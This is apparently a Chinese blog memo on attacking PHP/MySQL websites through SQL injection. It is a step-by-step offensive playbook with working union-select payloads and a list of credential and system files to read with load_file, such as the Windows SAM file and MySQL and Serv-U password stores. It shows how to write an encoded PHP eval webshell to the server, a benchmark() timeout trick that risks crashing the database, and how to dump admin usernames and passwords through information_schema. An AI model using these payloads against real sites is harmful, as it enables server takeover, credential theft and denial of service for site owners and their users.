php注入备忘录

最近php注入学习中~~查了很多资料,有些还是会忘,果断总结记起,以备忘之。

首先是步骤:

1:判断是否有注入(' ; and 1=1 ; and 1=2 ;)

2:判断版本(and ord(mid(version(),1,1))>51 /*),4.0极以上版本支持 union 查询。

3:order by 判断字段数目,经常有注入却不能用 order by 判断的,迷惑中~~~~如果过滤了空格用 /**/ 取代之

4:判断写权限 and (select count(*) from mysql.user)>0 /*,有权限就load_file, into outfile 有希望了~~

5:进行union 查询 , and 1=2 union select 1,2,3............/* (常用函数 user(),version(),database().......)

6:load_file试试,读配置文件,读连接文件,读sam。。。能想到的都可以读。。

大概有以下文件:

/etc/passwd 记录Linux/Unix用户名的文件

/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件
/usr/local/apache2/conf/httpd.conf
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
/usr/local/app/php5/lib/php.ini //PHP相关设置
/etc/sysconfig/iptables //从中得到防火墙规则策略
/etc/httpd/conf/httpd.conf // apache配置文件
/etc/rsyncd.conf //同步程序配置文件
/etc/sysconfig/network-scripts/ifcfg-eth0 //查看IP.
/etc/my.cnf //mysql的配置文件
/etc/redhat-release //系统版本
/etc/issue
/etc/issue.net

2003系统为windows,2000系统为winnt ,目录自己改

c:\boot.ini 启动配置文件,读了不就知道系统是什么了?load不出来可能没权限或者是linux系统,就可以试试load下/etc/passwd 了,如果开始有暴路径最好了,直接知道是啥系统。

c:\windows\php.ini 或者 c:/winnt/php.ini

c:\mysql\data\mysql\user.MYD //存储了mysql.user表中的数据库连接密码
c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini //存储SU 的用户名密码

c:\Program Files\Serv-U\ServUDaemon.ini
c:\windows\my.ini //MYSQL配置文件,管理员有登陆就有密码
c:\windows\system32\inetsrv\MetaBase.xml //IIS配置文件

c:\windows\repair\sam //存储了WINDOWS系统初次安装的密码

c:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件 //存储了pcAnywhere的登陆密码

在读取网页文件的时候,有时候明明路径没有问题的,就是load不出来,一片空白,原因在于load_file 的时候,有些特殊符号被当作代码解析了。。。。这个时候我们要用到一个函数-----------replace() ,例子如下:

replace(load_file(0xaaaaaaa),char(60),char(32)) ,把里面的char(60)全部换成char(32),也就是把 " < " 全部转换为 " "(空格),这样也就能load出来了。 读出的sam没经过处理是乱码,这个废话了,可以在load_file前面加个hex()函数,转为16进制,然后16进制编辑工具存储之,LC5破之,有开3389,那OK,登陆之。。。 读出mysql帐号密码,root权限,先别开心,能连再说。。连上了,基本服务器权限到手,不要问我mysql连上后怎么提权,这个网上大把教程。 如果很幸运,magic_quotes_gpc=off (做梦ing) ,直接 into outfile '物理路径' 导出webshell。 基本形式如下: and 1=2 union select 1,load_file( /www/home/html/upload/qingyafengping.jpg),3,4,5,6 into outfile ’/www/home/html/coder.php’/* (语句中2个路径为假定web路径) 那如果你怎么加分号,怎么改变量,他都不暴物理路径 ,咋办? 某仙人有一妙计曰:脚本超时大法。就是让脚本执行超时,怎么弄? benchmark(999999999999999999, 0x6D643528202774657374272029) ,放入执行中可暴出来的数字处,肯定超时,一超时,绝对路径也就出来了。。。。很好用 ,只是有可能让数据库当掉。 如果网站都不给上传文件,咋办?这。。。 and 1=2 union select 1,char(ASCII码),3,4,5,6 into outfile ’/www/home/html/coder.php’/* 又搞定不是? 比如: 可以转换为 0x3C3F706870206576616C28245F524551554553545B27636D64275D293B3F3E 或者 char(60,63,112,104,112,32,101,118,97,108,40,36,95,82,69,81,85,69,83,84,91,39,99,109,100,39,93,41,59,63,62)

也就是 : and 1=2 union select 1,char(60,63,112,104,112,32,101,118,97,108,40,36,95,82,69,81,85,69,83,84,91,39,99,109,100,39,93,41,59,63,62),3,4,5,6 into outfile ’/www/home/html/coder.php’/*

一般的 magic_quotes_gpc都是on 的,于是也就只能猜表了。。。。

and 1=2 union select 1,2,3,4........... from 表名 /*

比如 and 1=2 union select 1,2,3,4........... from admin /* ,返回正常存在admin表,错误表示不存在,字段也一样

and 1=2 union select 1,2,user,password,5... from admin /* 如果已经存在admin表,那么此句返回正常,则说明有user字段和password字段。

很牛X,猜到表名和字段,暴出来,找后台登陆之,拿webshell,之后提权,搞定。~~~~

或许有的人要说:这个表也太难猜了。。。确实。。但如果mysql版本是5.0以后的就。。。哈哈,就方便了。

5.0以后的版本,mysql提供了一个名为 information_schema 的结构,用来存储数据库的一些信息,这个结构真是杀人放火,居家旅行的必备结构。

mysql中的information_schema 结构用来存储数据库系统信息

information_schema 结构中这几个表存储的信息,在注射中可以用到的几个表。 

| SCHEMATA ――>存储数据库名的,

|——>关键字段:SCHEMA_NAME,表示数据库名称

| TABLES ――>存储表名的

|——>关键字段:TABLE_SCHEMA表示表所属的数据库名称;

TABLE_NAME表示表的名称

| COLUMNS ――>存储字段名的

|——>关键字段:TABLE_SCHEMA表示表所属的数据库名称;

TABLE_NAME表示所属的表的名称

COLUMN_NAME表示字段名

可以看到,我们只要通过注射点构造查询语句遍相关字段,就可以得到我们想要的信息了。

暴所有数据库名
select group_concat(SCHEMA_NAME) from information_schema.schemata

得到当前库的所有表

select group_concat(table_name) from information_schema.tables where table_schema=database()

得到表中的字段名 将敏感的表进行16进制编码adminuser=0x61646D696E75736572

select group_concat(column_name) from information_schema.columns where table_name=0x61646D696E75736572

得到字段具体的值

select group_concat(username,0x3a,password) from adminuser

当然了。。这个语句还不能这么死板的加进去~~~你以为mysql的字段匹配是假的啊?

那怎么用呢?举个例子

有注入点 http://www.xxxx.com/article.php?newsid=22 ; 字段数10,也就是这么个样子 http://www.xxxx.com/article.php?newsid=22 ; and 1=2 union select 1,2,3,4,5,6,7,8,9,10 /* ,mysql版本 5.x 。显示的数字为 2,4,也就是2,4这2个位置可以用。要暴所有数据库名可以直接 http://www.xxxx.com/article.php?newsid=22 ; and 1=2 union select 1,group_concat(SCHEMA_NAME),3,4,5,6,7,8,9,10 from information_schema.schemata /* ,所有库也就暴出来了。。。暴所有表,字段等以此类推。是否感觉超级方便,快赶上mssql 了。。。嘎嘎~~

最后说一说长度限制的问题,就是注入点中,有的地方会有长度限制,比如:标题,简介等等,遇到这种情况最好就换个位置,实在没有其他位置的话找找其他注入点,要不有的时候暴的信息会不完整。不过对于暴数据库连接文件应该就够了,因为连接文件我们只需要几行就够了,基本上库名,用户名,密码都会出来了。

发表回复

您的电子邮箱地址不会被公开。 必填项已用 * 标注